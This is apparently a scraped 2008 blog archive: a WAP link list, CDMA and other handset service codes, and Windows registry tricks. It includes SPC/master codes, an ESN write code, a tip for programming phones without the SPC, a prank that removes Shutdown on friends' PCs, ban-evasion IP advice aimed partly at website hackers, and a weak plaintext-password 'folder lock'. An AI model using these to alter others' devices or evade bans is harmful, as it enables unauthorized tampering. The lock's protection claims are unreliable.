http://ritz.piranho.com/a.wml

13.dateilot
looking for a penpal, friendship or more? mopilot's dating application is a fun way to find a matching date anywhere you are. Choose from one of the categories or search for specific entries.
http://dating.mopilot.com/

14.Dowap.ws Build a Web site for your Wireless Device
Dowap.ws enables anyone to create a wireless web for your wireless device, PDA, cell phone, or two-way pager in less than thirty minutes
http://www.dowap.ws

15.Dowap.ws Build a Web site for your Wireless Device
Dowap.ws enables anyone to create a wireless web for your wireless device, PDA, cell phone, or two-way pager in less than thirty minutes.
http://dowap.ws

16.Flip & Mick
Flip and Mick are comic stars trapped in your mobile phones and reduced to mere pixels in resolution.
http://wap.movingentertainment.com/h...point/menu.php

17.illusions
The ONLY wap site for OPTICAL ILLUSIONS in the world! BRAND NEW! Bonus: Brain Teasers & Word Games. ******As recommended in WHAT CELLPHONE magazine******
http://tagtag.com/illusions

18.Logo N Tone
Nokia ringtone and logo downloads via SMS
http://www.logontone.co.uk

19.Mason's Fun
A fun personalized page challenging the thoughts of others.
http://www.wapmore.com/m.d

20.mLogonTones
mLogontones is constantly growing selection of logos and ringtones including HARDCORE ADULT! Updated regularly. Links to adult content as well!!
http://tagtag.com/mlogontones

21.mopilot.com - your personal mobile agent
Facilitating and organizing the mobile use of your personal data as well as global information retrieval, mopilot has set the course to be your first choice for the latest issues and up-to-date mobile content - anywhere, anytime.
http://mopilot.com/wml/fun.wml

22.My Woolly Hat
Hilarious star sign readings, outrageous newspaper stories and a thought provoking 'Thought for the day'. Plus unbelievable complaining letters and bizarre classified ads. You'll love it!
http://www.mywoollyhat.com/wap/

23.Penny Thornton - Your Personal Astrologer
Penny Thornton Horoscopes
http://www.astrolutely.com/wap/index.wml

24.Phunkyphones.net
Phunk up your mobile phone with ringtones, logos and ring tones. Also check out the dating facility offered.
http://www.phunkyphones.com/wap/

25.Predict 4U
Horoscopes, Tarot, Dream Analysis and Love Matches. All your predictive needs in one place!
http://www.predict4u.co.uk

26.Pub Quiz Help
Answers to pub quiz questions. Win pub quizzes more often by cheating!
http://www.pubquizhelp.34sp.com/wap.wml

27.Questionserve Mobile
Ever wondered "Will I get that promotion?" or "How romantic am I?". Now you can reveal all with our series of WAP questionnaires and personality tests...
http://wap.questionserve.com/index.wml

28.Romance Women
Dating zone, Love words, kissing, dating and romance tips, romance test, polls and sexy links...
http://twilightwap.com/romance/

29.Rune-Gild
International network for students of the Runes. Online resources for members.
http://www.mackaos.com.au/Gild.wml

30.Saw-You.com
Imagine being able to instantly text message and chat/flirt with the groovy sexy people in bars clubs cafes by simply describing them!
http://www.saw-you.com

31.textfriends
Make textfriends NOW!
http://buzzed.co.uk/wap/textfriends

32.The Best Wap Sites in the World - Ever!
See examples of the best sites available on wap here: REFWAP - 'The place for facts for your fone', and ILLUSIONS - 'The only wap site for Optical Illusions in the world!'
http://get.to/bestwapsites

33.The Love Calculator
The Love Calculator determines the chance on a successful relationship between two people.
http://wap.lovecalculator.com

34.Twilight Wap Page
Cool Links, cool stuff. Chat, games, links, celebrity galleries (Cahrlize Theron) and much more...
http://www.tagtag.com/engsite

35.Twilight Zone
Interactive wap portal with huge stuff! Wap services, fun, chat, games, forums, ringtones and logos, greeting cards, wap directory, animations...
http://wappy.to/twilight

36.voteserve.com - online opinion polls
Vote on 1000s of fun and serious polls in categories like Showbiz, Politics, Lifestyle and Sport
http://wap.voteserve.com/index.wml

37.Wap Greeting Cards
Wap Greetings, send your friends cool wap greeting cards and surprise them...
http://twilightwap.com/greeting/cards.asp

38.WAP-A-GIRL
Mobile contact to girls
http://www.wap-a-girl.de/wml/index.shtml

39.WapCardz.com
A special greeting cards web site for WAP, accessible from a PC, mobile phone or any wireless device browser.
http://www.wapcardz.com/a.php3

40.WapCardz.com
A special greeting cards web site for WAP, accessible from a PC, mobile phone or any wireless device browser. Also Offers FREE SMS, Disucssion Forum, Latest WAP/WML News, Free Address Book.
http://www.wapcardz.com

41.WAPDrive
tonnes of cool WAP Sites!
http://www.wapdrive.com

42.WAPIT
Biorithmes
http://www.wapit.ksp.fi/cannes/main.wml

43.Wapmike
Haai wapfriends, ICQ, hotmail, jokes, funny Nokia-stuff, F1 live!!! all on my site, come and see!
http://tagtag.com/wapmike

44.WapplePie
WapplePie allows you to build your own custom wap menu. We call this "Bake your own WapplePie".
http://www.wapplepie.com

45.Wappy. Virtual pet
Furry art, animals and wireless communications personal page.
http://wappy.pp.ru

46.Wireless DivineWorld
Wireless DivineWorld is the real interactive WAP Tarot/Rune site, accessible directly from your mobile phone!
http://www.free-tarot.com/default.wml

47.your biorythms on WAP phone
your biorythms on WAP phone
http://webdowap.com/wap/biowap/index_us.asp

48.mobilicktastic
links to loads of websites for free screensavers and free tones they directly download2 ur fone!!
http://www.mobilicktastic.mywap.o2.co.uk/

49.mobile-empire
Find any stuff here
http://www.mobile-empire.com/

50.napwap
links to loads of websites for free screensavers and free tones they directly download2 ur fone!!
http://www.napwap.com/

All Cdma Code Collection !!

2008-05-23T14:05:00.000-07:00

All CDMA Secert Codes
<>
Samsung sph-n240, n400, a460, a500, etc Nam Programming :
Nam Set: ##Spc
Test Mode: 47*869#1235
Debug Menu: ##33284,ok
Service Menu: Menu+8+0 (#889)
Reset (Life time, Clear Memory, etc): ##786,ok
A-key: ##2539,ok
Label Selection: ##3882,ok
Label(Home, Work, etc) : **523,ok
NGG Setting (Gateway, etc.): ##2769737,ok
Vocoder: ##8626337,ok
CAI Change: ##7738,ok
Enable TTY: ##889,ok

Samsung a530, a610, a620, a660, a670, etc Nam Programming :
Nam Set: Menu, 6, *
Nam Set: ##3238, ok
Nam Set: ##SPC (##000000), ok
Service Menu: Menu, 9, *
Test Mode: 47*68#13580
Test Mode: 47*869#1235

Samsung X, E, V, S-series (korean models), e250, v420, s350, etc Nam Programming :
Nam Set: 6548#0**4#6
Nam Set: 47*869#08#9
Nam Set: 74153697193
Test Mode: 5809540*45680 (88 - EFS reset)
Debug Menu: Menu(hold 2sec)+0, 6725 or 9720 or 1973 or 0415
Debug Menu: Menu+0(hold 2sec), 6725 or 9720 or 1973 or 0415
Debug Menu: Home(top of keypad)+0, 6725 or 9720 or 1973 or 0415

Samsung sch-411, 611, n105, a100, a300, a2000, etc Nam Programming :
Nam Set: 47*869#08#9
Nam Set: Menu+60
Test Mode: *759#813580
Test Mode: 5809540*45680
A-key: Menu+0, 25##
External Audio: Menu+0, ####
Debug Menu: Menu+8, 0415 or Spc
Debug Menu: Menu+9, 0415 or Spc
Brief NAM Programing: Menu+40,626 (not all version)
LCD Contrast: Menu+45 (not all version)
SIO Mode: Menu+49
SIO Mode: Menu+69

Samsung N356 (India version) Nam Programming :
Test Mode: Menu, 5, down arrow, *
Test Mode: **00## (in some flashes)

Samsung i700, etc Nam Programming :
Nam Set: Go to start and select "PHONE" from the drop down menu, dial #83587

Samsung i300, etc Nam Programming :
1. Tap on the Phone Icon with stylus
2. Press #907*9#0 ENTER LOCK should appear on screen
3. Enter OTKSL
4. SVC MENU will appear press 1
5. Enter 10 digit MIN and then press SAVE
6. Press SAVE again
7. Press 3 and then press SAVE 6 times
8. Enter the HOME SID and press SAVE once
9. Press END key twice

<>
Kyocera 2345, 3035, 5135, 6035, Se47, KX, KE - series, etc Nam Programming :
Nam Set: 111111+Jog Dial(Ok)
CAI Change: ##7738,ok
Enable TTY: ##889,ok
Life Timer: ##786,ok
A-key: ##2539,ok

Tips:
On some kyocera handsets the factory service module has not been disabled
and the phone can be programmed without the Spc by inputting:
Nam Set: ##333333 menu (service)

Qualcomm qcp-800 Nam Pogramming :
Nam Set: Menu+3+0+Spc
Field Test: Menu+7+0+Fsc

<>
Sanyo 4900, 5150, 5300, 8100, etc Nam Programming :
Nam Set: ##Spc+Ok+Key Down+Ok
Advanced Setup: ##3282+Ok+Key Down+Ok+Msl
A-key: ##2539+Ok+Key Down+Ok
Version: ##**837+Ok+Key Down+Ok
Debug Menu: ##FSC+Ok+Key Down+Ok
Airtime menu: ##8463+Ok+Key Down+Ok
Change CAI: ##7738+Ok+Key Down+Ok
Vocoder: ##8626337+Ok+Key Down+Ok
Reverse Logistic: ##786+Ok+Key Down+Ok
Set IP Address: ##2769737+Ok+Key Down+Ok
TTY On/Off: ##889+Ok+Key Down+Ok
Ready Link: ##4636+Ok+Key Down+Ok
Browser Init On/Off: ##4682+Ok+Key Down+Ok
Picture Token: ##25327+Ok+Key Down+Ok
Unknown Code: ##5282277+Ok+Key Down+Ok
(SPC=000000, FSC=040793)

Sanyo scp-A011, smp-A017, etc Nam Programming :
Nam Set: F9(3 beep) + 0*72696#767

<>
Audiovox 4000, 9000, 9100, 9155, 9500, etc Nam Programming :
Power the phone ON and wait until the little light on top goes out, then press:
Nam Set: 289,Fcn, #,1
Service menu: Fcn,0,0, FSC

Power the phone ON and press:
Test Mode: Hold (2,*,Rcl) + Power

Test Mode Commands:
99 - download - flash phone
124 - inam data write
125 - version
126 - get ESN
127 - get SPC
128 - get User lock
129 - is WFTV data write
137 - get FSC code
138 - NPcode (nam program code)
139 - dscode
141 - restart
218 - Read_Addr
000 - is cdma mode
001 - is fm mode
002 - is pcs mode
008 - is reg read addr
020 - is lna_range

Audiovox (Hyundai) cdm-100, 130, 135, 8300, 8500, 8600, 8910, etc Nam Programming :
Nam Set: ##20022002, end
Read user lock: #5625*, end
Port settings: ##7678, end
DM baud rate: ##2283, end
DM mode enable: **1004, end
DS mode enable: **1005, end
Misc. Test: ##27752345, end
S/W Test1: ##27732726, end
S/W Test2: ##2240, end
Debug screen: ##2773, end
Clear MRU: ##6782, end
Rfnu_Contents: ##2250, end
?????: ##1133, end
?????: ##1144, end
P_Rev: ##7738, end
GPS Test: ##4771, end
A-Key: 2538**
SMS Eng: ##767364, end
Battery_adc: ##2768, end
Tests: ##1122, end

Audiovox 8610, 8910, etc Nam programming :
Name Set: ##847446, end, 111111

Audiovox pcx-3500xl Nam Programming :
Nam Set: ##2726+Send+1998+1+Spc+1

Audiovox-107 Nam Programming :
Nam Set: 45680*47*869#1

Audiovox CMP-3 Nam Programming :
Nam Set: 45680*47*869#1
Dm Mode: Menu, 6, 6

Audiovox 9950 Nam Programming :
Nam Set: ##3282

Audiovox Z800 (Audiovox 7900, Sharp) Nam Programming :
Nam Set: m + # + envelope key + * + 1

Audiovox Thera (Toshiba 2032) Nam Programming :
Thera Nam Programming User Manual - nam_thera.pdf

Audiovox (UTStarcom) PPC 6600, 6700, etc Nam Programming :
Nam Set: ##SPC + Send
Nam Set: #*#SPC + Send
Nam Set: ##SPC#
DM mode: ##3424 + Send
DM mode: #*#3424 + Send
DM mode: ##3424#
Programming User Manual - programming_instructions.pdf

<>
Motorola 7760, 7860, 2260, 8160, etc Nam Programming :
Nam Set: Fcn,0000000000000, Rcl
Nam Set: 74663#, Fcn, Fcn
Test Mode: Fcn, 00**83786633, Sto

Motorola v60c, v120c etc Nam Programming :
Nam Set: 74663#, Menu, Menu, Spc
Nam Set: Menu, 073887, * (type quickly)
Test Mode: Menu, 073887*, Spc
Debug Mode: ##33284

Force the phone into DIGITAL ONLY mode:
1) ##33284 (Debug)
2) RIGHT Softkey (Next) Twice
3) Down arrow 10 times to "PrefMod"
4) RIGHT Softkey (Change) until you see "DigOnly"
5) LEFT softkey (Exit)
6) MENU then LEFT Softkey return to idle screen
7) ##33284 (The last 4 will not display if you have done it correctly)

Motorola Razr V3C Nam Programming:
Nam Set: 74663 # clr clr
Nam Set: #073887* , then SPC

Motorola Q Nam Programming:
Nam Set: [Send] + 074663 + [Send] + [Send], Selecct NAM#

Motorola t182, c210, etc Nam Programming :
Nam Set: ##298645665, end
Short Nam: ##073887, sto
Debug Menu: ##1111, end
Service Menu: ##2222, end
Sound NS/EC on/off switch: ##1113, end

Motorola v710, v730, v740, ms150, etc Nam Programming :
Nam Set: 8378*# + press 3 times NATE (spc - 071082)
Test Mode: Menu, 073887*, Spc
Service Menu: #758353266#646#

Motorola StarTac 2004 Nam Programming :
Nam Set: 5759789*#, press "Rec" button 3 times, (spc - 915037)

Motorola ms200, ms400, ms800, etc Nam Programming :
Nam Set: 5759789*#, press "Camera" button 3 times, (spc - 915037)
Nam Set: 246791538*#, press "Camera" button 3 times, (spc - 915037)

Motorola v6060 Nam Programming :
Nam Set:147*369#456*0#

MOTOROLA TEST MODE :

v60, c120, c331, etc:
1) Turn on the phone. Press MENU 0 7 3 8 8 7 *
2) The phone will require you to "Enter a Security Code", press 000000, OK
3) Scroll down to "Test mode" choose SELECT. Scroll down to "Enable"
choose SELECT. Your phone is now in test mode.
4) Signal strength is the 3_rd number down on the left hand side of the screen.
5) To toggle between regular mode and test mode: Press MODE then
quickly press the BUTTON DIRECTLY TO THE LEFT OF MENU.
6) To turn off the test mode the phone must be in regular mode, then follow
the above sequence and scroll down to where it says "DISABLE" instead of
"ENABLE" and choose select.

<>
Nokia 3280, 3285, 3580, 3585, 5185, 6185, 8280, etc Nam Programming :
Nam Set: *3001#12345#
Software Version: *#837#
Software Version: *#9999#
Esn Number: *#92772689#
Restart Phone: *#75681#
Restart Phone: *#75682#

Nokia 8887 Nam Programming :
Nam Set: *3001#12345#
Version: *#0000#
Evrc: *#8378#
Esn/Data/Timer: *#92772689#
SID: *#743#

Nokia 8587 Nam Programming :
Nam Set: *#626#7764726#
A-Key: #8159357022#4579# (26 digits)
A-Key: #8159357022#4547# (20 digits)
Version: *#0000#
Version: *#837#
Vocoder: *#3872#
Change language: Menu 5, 3, 1
Change DM mode: *#7678#
Debug Screen: *#8378#
Debug: *#8380#
Field Test Menu: *#83788#

SPC Unlock, Factory Reset :
Full Factory Reset: *#7370#
Resets all settings including non-user changeable items (like SPC)

NOKIA TEST MODE:

51xx, 61xx, 71xx, 3285, 63xx, etc :
1) Turn on the phone. Press *3001#12345#
2) Scroll up to where it says "Field Test" and choose SELECT
3) Highlight "Enable" and choose OK. Turn the phone off then back on.
4) If the test mode screen does not show up press MENU and scroll
down to "Field Test" choose SELECT. Press 0 1 then choose OK.
5) Lower left or upper left number is the signal strength.
6) To turn off the test mode press MENU and scroll down to where it says
"Field Test" choose SELECT. Press 0 0 and then choose OK.

3360, 6360, etc :
1) Turn on the phone. Press *3001#12345#
2) Scroll up to where it says "Field Test" and choose SELECT
3) Highlight "Enable" and choose OK. Turn the phone off then back on.
4) If the test mode screen does not show up press MENU and scroll
down to "Field Test" choose SELECT. Press 2 1 0 1 then choose OK.
5) Lower left or upper left number is the signal strength.
6) To turn off the test mode press MENU and scroll down to where it says
"Field Test" choose SELECT. Press 2 1 0 0 and then choose OK.

<>
Lg LX,VX-series, VX4400, VX6000, etc Nam Programming :
Nam Set: ##Spc(#)
Nam Set: Menu, 0
Advanced Settings: ##2342(#)
Vocoder: ##8626337,ok(#)
CAI Change: ##7738,ok(#)
Enable TTY: ##889,ok(#)
A-key: ##2539,ok(#)
Reset (Life time, Clear Memory, etc): ##786,ok(#)

lgc-300, etc Nam Programming :
Nam Set: Menu, 9, Spc
A-key: Press "Sto" 3sec, 2539**

lgc-330w, etc Nam Programming :
Nam Set: Menu, 4, 0, Spc
A-key: 2539**

lgc-510, v111, etc Nam Programming :
Nam Set: Menu, 3, 0, Spc
A-key: 2539**

lgc-500, 800w, etc Nam Programming :
Nam Set: Menu, 9 , 0, Spc
Debug Mode: Menu, 7, 0, Fsc
Debug Mode: Menu, 8, 0, Fsc
A-key: 2539**

<>
SonyEricsson T608, etc Nam Programming :
Nam Set: 923885, joystick >, 111111
Nam Set shot: 987, joystick >, 111111
Nam Set long: 222652, joystick >, 111111
Vocoder: ##8626337, joystick >, 111111
Debug screen: ##33284, joystick >
Life Timer: ##786, joystick >
SW ver: 9#4#3#, joystick >
Edit Profile: ##3282, joystick >
Service menu: *#06*

Ericsson A1228c, T61, etc Nam Programming :
Short NAM: 987+Menu
Long NAM: 923885+Menu+Spc
CDMA Mode: 904093+Menu
Analog Mode: 904095+Menu
QNC: 904097+Menu
Debug Screen: 904090+Menu
DM Mode: 904050+Menu

<>
Epsilon vc-5x, Compal 1100, etc Nam Programming :
Nam Set:: **321456987##
Short Nam: **147258963##
Service Menu 1: **1232580##
Service Menu 2: **078987##
Service Menu 3: **1234756##
Show SPC: **3214569871472365##
Version: **1470963##
Debug: **000000##
A-key: 2539**
Reset: **14789##

<>
Sky All Models Nam Programming :
Nam Set: #7583538324#626#
Nam Set: *759#364*7388464#
Min simple mode: #758353266#646#
Irm simple mode #758353266#476#
Voice memo: #8767#277#
Test Mode: #7583538324#8378#
A-key: #758353266#2539#
Service Menu: Menu+4+0+Spc
Service Menu: Menu+5+0+Spc

<>
Withus wce-100, 200, 300, etc Nam Programming :
Nam Set: ##948487+Save
Nam Set: ##948482+Save
ESN write: ##66835+Save (wce200 only)
SMS Settings: ##76766
NVM Rebuild: ##777464

<>
Gtran gcp-2000 Nam Programming :
Nam Set: 01#737+Spc
Debug Menu: 01#324+Spc
Debug Mode: 01#727
Test Mode: 01#764+Spc
System Test Mode: 01#768+Spc

Gtran gcp-5000 Nam Programming :
Debug Mode: 01#727+Spc
Test Mode: 01#765

<>
Hyundai hwp-110 Nam Programming :
Nam Set: #86904**89397#
DM Mode: ##2740*
(Open phone, inter code, close phone)

Hyundai hgc-120, 130, 200 Nam Programming :
Nam Set: #86904**89397#

Hyundai hgc-310, 600, 610 Nam Programming :
Nam Set: ##20022002, end, 1, Spc Code
Field Test: ##20022002, end, 1, Master Code

Hyundai Curitel h100, 150, hx510b, 520, etc Nam Programming :
Nam Set: ##20022002, end, 1, Spc Code
Field Test: ##20022002, end, 1, Master Code
A-key: 2539**
Debug Menu: ##27732726, end
Sar Test: ##27752345, end
Baud Rate: ##36**, end
DM mode enable: **1004, end
DS mode enable: **1005, end
Test Bell/Voice/Led/Dot: ##1122, end
RF Mode: ##2240, end
Ras Ram: ##2774, end
Cmux1: **0481, end
Cmux2: **0482, end
RX Mode Fax: **0492, end
RX Mode Data: **0491, end
RX Mode Reset: **0490, end

<>
Huawei ETS-668, 678, 688, etc Nam Programming :
Debug Mode: ##44+Menu
Debug Screen: ##33+Menu
CDG2 Test enable: ##234+Menu
CDG2 Test disable: ##432+Menu
China Lang Select: ##123+Menu
Blocking Debug Code: ###888+Menu
Home System Only On: ##461+Menu
Home System Only Off: ##460+Menu
Master Code for all Huawei models is - 309296

<>
Pantech hx-525b, 550, 570, 575, etc Nam Programming:
Nam Set: ##13*92*#62* + Pwr
Debug Mode: ##*193*762534#* + Pwr (R-UIM mode disable)
Debug Mode: ##27732726 (R-UIM mode enable)
DM Mode Enable: ***18*#826*
Full Reset: ##03*934#9367*192#397#7412569746 + Pwr
MultiTest: ##22635*262* + Pwr
Cmux1: ***12*#811# + Pwr
Cmux1: ***37*#922* + Pwr
RX Mode Data: ***83*#247 + Pwr
RX Mode Reset: ***64*#133# + Pwr
DS Mode On: ***12045#*# + Pwr
RF NV Init: ##0*#*63861829372# + Pwr
RAS_RAM: ##3*13091#1279#* + Pwr

<>
Palm One Treo 600, 650, 700, etc Nam Programming :
Nam Set: ##SPC + Send
Nam Set: #*#SPC + Send
Nam Set: ##SPC#
DM mode: ##3424 + Send
DM mode: #*#3424 + Send
DM mode: ##3424#
Debug: ##33284
Programming User Manual - programming_instructions.pdf
Resetting Treo - resetting_treo650.doc

<>
P800, T800, P1900, T1900, etc Nam Programming :
Nam Set: 47*68#47*869#
DM mode: ##9* + Send
Data cable select: menu + 7 + 1 + #
Data Manager: **##11
Data (Internet): **##13
Data USB: **##32

<>
VK-100C, 110C, 200C, etc Nam Programming :
Nam Set: 153147539741593
Test Mode: 153147539123258 (88 - clear efs (set language to korean before))

<>
Z510, Z710i(gcd-456) Nam Programming :
Nam Set: Menu+0+Spc

<>
AMC450 Nam Programming :
Nam Set: *74269#*748#96148063+SEL

<>
ZTE C150, C160, C170, C180, C220, etc Nam Programming:
Nam Set: *983*3641# (R-UIM mode)
Nam Set: #1463*389*

ZTE C201 Nam Programming:
Nam Set: *983*7358#

<>
U100, U105, U200, U300, etc Nam Programming :
Nam Set: ##3435871
BREW Set Menu: ##8242739
System Test: ##33582
Handset Test: ##3435873
Handset Test: ##3435875
Factory Test Mode: ##3435874

<>
Synertek S200 Nam Programming :
Nam Set: Menu+0+Spc
A-Key: 2539**+Save
Test vibro/rx/tx: ##5555+Save
Debug Screen: ##33+Save
Debug Screen: ##523+Save
RF Test: ####+Save
LCD type: ##325+Save

Synertek S500 Nam Programming :
SAR Test Strife test: *#0000#
Debug screen: *#8378#
Clear LCD: *#848378#
Debug menu: *#443336# (R-UIM mode)
CDG , Service option: *#234#
Function Test, LCD Contrast: *#878#

<>
Sony CM-M1300, 3300, Z200 Nam Programming :
Nam Set: 111111+Ok(Jog Dial)+Select+Programming+Ok+Spc

Lightbulb ZTE a35,125,225 codes and astuces
Hi
Here is same code for Zte a35,125 and 225 :

*983*7469# version
*983*1688# batterie temperature
*983*5391# keypad test
*983*5651# phone reset and user code reset also
*983*757# sim lock info
*983*22387# master reset
*983*2831# audio test

How to Speed Up Nokia Symbian Phones !!

2008-05-23T14:03:00.000-07:00

Go to menu\to-do list.
Now press options and select new to-do note.
In the subject type speed
due date type 29/01/2005
priority type high
then press done.

press option again,new to-do list
In the subject type qoukie
due date type 29/01/2005
priority type low
then press done

now go on the first note speed (don`t open it)select option and press mark as done repeat the same thing on qoukie now you should see like this

the last thing restart your device….

Love happen's once and the rest is just life!!!!

CHINA Mobile Phones Secret Codes !!

2008-05-23T14:00:00.000-07:00

Default user code: 1122, 3344, 1234, 5678
Engineer mode: *#110*01#
Enable COM port: *#110*01# -> Device -> Set UART -> PS Config -> UART1/115200
Factory mode: *#987#
LCD contrast: *#369#
Restore factory settings: *#987*99#
Software version: *#800#
Software version: *#900#
Set default language: *#0000# Send
Set English language: *#0044# Send
Set English language (new firmware): *#001# Send

Service codes Fly:
2040(i) reset defaults: *#987*99# Send
M100 software version: ####0000#
MX200 reset defaults: *#987*99# Send
MX200 software version: *#900# Send
MP500 reset defaults: *#987*99# Send
MP500 software version: *#900# Send
SL300m reset defaults: *#987*99# Send
SL300m software version: *#900# Send
SL500m reset defaults: *#987*99# Send
SL500m software version: *#900# Send
Set language to English: *#0044#
Set language to Russian: *#0007#

Love happen's once and the rest is just life!!!!

How to Hide the drives(c:,d:,e:,...etc)

2008-05-23T13:57:00.000-07:00

1.Go to start->run.Type regedit.Now go to:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

Now in the right pane
create a new DWORD item and name it NoDrives (it is case sensitive).
Now modify it's value and set it to 3FFFFFF (Hexadecimal) .
Now restart your Computer.
So, now when you click on My Computer, no drives will be shown(all gone...).

To enable display of drives in My Computer, simply delete this DWORD item that you created.Again restart your Computer.You can now see all the drives again. Magic.......

How to change ur IP on networks

2008-05-23T13:53:00.000-07:00

The following is a guide on how to change your IP in a minute. This can
be used if your IP has been banned from a game server, or on gunbound
if your IP get's blocked. I've tried this on both Windows XP and Windows
2000, and it has worked:

1. Click on "Start" in the bottom left hand corner of screen
2. Click on "Run"
3. Type in "command" and hit okay

You should now be at an MSDOS prompt screen.

4. Type "ipconfig /release" just like that, and hit "enter"
5. Type "exit" and leave the prompt
6. Right-click on "Network Places" or "My Network Places" on your
desktop.
7. Click on "properties"

You should now be on a screen with something titled "Local Area
Connection", or something close to that, and, if you have a network hooked up,
all of your other networks.

8. Right click on "Local Area Connection" and click "properties"
9. Double-click on the "Internet Protocol (TCP/IP)" from the list under
the "General" tab
10. Click on "Use the following IP address" under the "General" tab
11. Create an IP address (It doesn't matter what it is. I just type 1
and 2 until i fill the area up).
12. Press "Tab" and it should automatically fill in the "Subnet Mask"
section with default numbers.
13. Hit the "okay" button here
14. Hit the "okay" button again

You should now be back to the "Local Area Connection" screen.

15. Right-click back on "Local Area Connection" and go to properties
again.
16. Go back to the "TCP/IP" settings
17. This time, select "Obtain an IP address automatically"
18. Hit "okay"
19. Hit "okay" again
20. You now have a new IP address

With a little practice, you can easily get this process down to 30
seconds.

*Note* This only changes your dynamic IP address, not your ISP/IP
address. If you plan on hacking a website with this trick be extremely
careful, because if they try a little, they can trace it back.

Best Way To Lock Your Folder Without Any Programs

2008-05-23T13:52:00.001-07:00

1- make a new folder ( name it as you like )

2- inside this folder make a ( TXT ) file & copy inside it this:

Quote: cls
@ECHO OFF
title Folder Private
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST Private goto MDLOCKER
:CONFIRM
echo Are you sure you want to lock the folder(Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Private "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Enter password to unlock folder
set/p "pass=>"
if NOT %pass%== password here goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Private
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Private
echo Private created successfully
goto End
:End 3- after u copy the Commanding go to line ( 23 ) u will find this word : password here (Change it with ) any password u like.

4- After that make ‘save as’ & name as (locker.bat )

5- Now back to the folder & u will find a ( LOCKER ) commanding.

6- Click on it & u will find a new folder (Private )

7- Ok ,, now copy what u want in it & after that go to ( locker ) by click on it , it will open and ask you want lock your folder? Y/N ?

8- Type Y

9- If you want UNLOCK your folder ,go to (locker) & type your pass and you will see your private folder.

chat with command prompt

2008-05-23T13:41:00.000-07:00

If you want personal chat with a friend
you don't need to download any yahoo messenger
All you need is your friends IP address and Command Prompt.
Firstly, open Notepad and enter:
@echo off
:A
Cls
echo MESSENGER
set /p n=User:
set /p m=Message:
net send %n% %m%
Pause
Goto A
Now save this as "Messenger.bat". Open the .bat file and in Command
Prompt you should see:
MESSENGER
User:
After "User" type the IP address of the computer you want to contact.
After this, you should see this:
Message:
Now type in the message you wish to send.Before you press "Enter" it should look like this:
MESSENGER
User:27.196.391.193
Message: Hi
Now all you need to do is press "Enter", and start chatting!

Display legal notice on startup

2008-05-23T13:40:00.000-07:00

Wanna tell your friends about the do's and dont's in your computer when they login in your absence. Well you can do it pretty easily by displaying a legal notice at system start up.
REGEDIT
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system]
"legalnoticecaption"="enter your notice caption"
"legalnoticetext"="enter your legal notice text"

No Shutdown

2008-05-23T13:39:00.000-07:00

Wanna play with your friends by removing the shutdown option from start menu in their computer.
Just hack it down !!!
Regedit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer
"NoClose"="DWORD:1"

Increasing options in add/remove programs

2008-05-23T13:37:00.000-07:00

Not a fan of MSN Messenger? don't want Windows Media Player on your system? Fair enough, but if you go to Add/Remove Programs in the Control Panel, by default none of Windows XP's 'built in' programs are visible. it's fairly easy to change, though... just open the file X:\Windows\inf\sysoc.inf (where X: is the drive letter where Windows XP is installed) in Notepad. You should see a section of the file something like this:

[Components]
NtComponents=ntoc.dll,NtOcSetupProc,,4
WBEM=ocgen.dll,OcEntry,wbemoc.inf,hide,7
Display=desk.cpl,DisplayOcSetupProc,,7
Fax=fxsocm.dll,FaxOcmSetupProc,fxsocm.inf,,7
NetOC=netoc.dll,NetOcSetupProc,netoc.inf,,7
iis=iis.dll,OcEntry,iis.inf,,7
com=comsetup.dll,OcEntry,comnt5.inf,hide,7
dtc=msdtcstp.dll,OcEntry,dtcnt5.inf,hide,7
IndexSrv_System = setupqry.dll,IndexSrv,setupqry.inf,,7
TerminalServer=TsOc.dll, HydraOc, TsOc.inf,hide,2
msmq=msmqocm.dll,MsmqOcm,msmqocm.inf,,6
ims=imsinsnt.dll,OcEntry,ims.inf,,7
fp_extensions=fp40ext.dll,FrontPage4Extensions,fp40ext.inf,,7
AutoUpdate=ocgen.dll,OcEntry,au.inf,hide,7
msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7
RootAutoUpdate=ocgen.dll,OcEntry,rootau.inf,,7
IEAccess=ocgen.dll,OcEntry,ieaccess.inf,,7

This is a list of all components installed at the moment. I've taken the example of MSN Messenger - the program entry called 'msmsgs', third-last line. You can see the word 'hide' highlighted - this is the string which tells Windows not to display the component in the Add/Remove Programs list. Fix this up by simply deleting the word 'hide' like so:

msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7

To this:

msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,,7

Now, after restarting, you should be able to see MSN Messenger in the Add/Remove Programs list. If you want to be able to quickly view and remove all components, simply open the sysoc.inf file and do a global find and replace for the word ",hide" and replace it with a single comma ",".

Automatically Kill Programs At Shutdown

2008-05-23T13:36:00.000-07:00

don't you hate it when, while trying to shut down, you get message boxes telling you that a program is still running? Making it so that Windows automatically kills applications running is a snap. Simply navigate to the HKEY_CURRENT_USERControl PanelDesktop directory in the Registry, then alter the key AutoEndTasks to the value 1.

Opening a DOS Window to either the Drive or Directory in Explorer

2008-05-23T13:34:00.000-07:00

Add the following Registry Keys for a Directory:
HKEY_CLASSES_ROOT\Directory\shell\opennew
@="Dos Prompt in that Directory"

HKEY_CLASSES_ROOT\Directory\shell\opennew\command
@="command.com /k cd %1"

Add or Edit the following Registry Keys for a Drive:
HKEY_CLASSES_ROOT\Drive\shell\opennew
@="Dos Prompt in that Drive"

HKEY_CLASSES_ROOT\Drive\shell\opennew\command
@="command.com /k cd %1"

These will allow you to right click on either the drive or the directory and the option of starting the dos prompt will pop up

Disabling My Computer

